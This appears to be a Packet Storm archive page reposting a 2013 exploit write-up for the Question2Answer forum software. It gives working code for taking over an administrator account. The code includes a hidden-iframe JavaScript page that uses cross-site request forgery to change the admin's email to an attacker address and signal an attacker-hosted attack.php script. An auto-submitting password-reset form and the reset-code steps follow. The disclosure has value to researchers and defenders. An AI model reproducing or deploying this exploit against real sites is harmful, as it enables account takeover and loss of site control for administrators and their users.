what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Question2Answer Cross Site Request Forgery

Question2Answer Cross Site Request Forgery
Posted Mar 8, 2013
Authored by MustLive

This is a demonstration cross site request forgery exploit for Question2Answer that also takes advantage of an insufficient anti-automation issue.

tags | exploit, csrf
SHA-256 | e8a626660486f464fd58c9ab8052bbb89a6150a1f60768dade0cfcad6e8669e4

Question2Answer Cross Site Request Forgery

Change Mirror Download
Hello!

Here is exploit for stealing admin's account in Question2Answer. This
exploit uses Cross-Site Request Forgery vulnerability at http://site/account
and Insufficient Anti-automation vulnerabilities at http://site/forgot and
http://site/reset, which I've described in the second advisory about
Question2Answer (http://websecurity.com.ua/6192/).

http://websecurity.com.ua/uploads/2013/Question2Answer%20Exploit.txt

It will work in all affected versions of Question2Answer (and second part of
the attack will work at default settings). If the admin of the target site
has changed default settings and setup captcha at http://site/forgot, then
server-side part of the attack can be done manually after conducting CSRF
attack.

Client-side part of exploit do the next (code provided bellow):

1. Changes e-mail of the user or admin via CSRF.
2. Start server-side part of exploit via request to attack.php.

Server-side part of exploit (attack.php) do the next (algorithm):

After receiving the signal from client-side part of exploit, attack.php do
the next:

1. Send POST request to http://site/forgot:

<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/forgot" method="post">
<input type="hidden" name="emailhandle" value="email@attacker.com">
<input type="hidden" name="doforgot" value="1">
</form>
</body>

2. Check mailbox for letter with the code:

Code: 4f84yl1d

This line contains code for resetting password.

3. Send GET request to http://site/reset with this code:

http://site/reset&c=4f84yl1d&e=email%40attacker.com

4. New password is sent to attacker's e-mail.

Code of client-side exploit for stealing admin's account in Question2Answer:

<html>
<head>
<title>Exploit for stealing admin's account in Question2Answer. Made by
MustLive. http://websecurity.com.ua</title>
</head>
<body onLoad="StartCSRF()">
<script>
function StartCSRF() {
for (var i=1;i<=2;i++) {
var ifr = document.createElement("iframe");
ifr.setAttribute('name', 'csrf'+i);
ifr.setAttribute('width', '0');
ifr.setAttribute('height', '0');
document.body.appendChild(ifr);
}
CSRF1();
setTimeout(CSRF2,1000);
}
function CSRF1() {
window.frames["csrf1"].document.body.innerHTML = '<form name="hack"
action="http://site/account" method="post">\n<input type="hidden"
name="handle" value="test">\n<input type="hidden" name="email"
value="email@attacker.com">\n<input type="hidden" name="messages"
value="1">\n<input type="hidden" name="mailings" value="1">\n<input
type="hidden" name="field_1" value="test">\n<input type="hidden"
name="field_2" value="test">\n<input type="hidden" name="field_3"
value="test">\n<input type="hidden" name="dosaveprofile"
value="1">\n</form>';
window.frames["csrf1"].document.hack.submit();
}
function CSRF2() {
window.frames["csrf2"].document.body.innerHTML = '<form name="hack"
action="http://attacker.com/attack.php" method="post">\n<input type="hidden"
name="do" value="1">\n</form>';
window.frames["csrf2"].document.hack.submit();
}
</script>
</body>
</html>

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close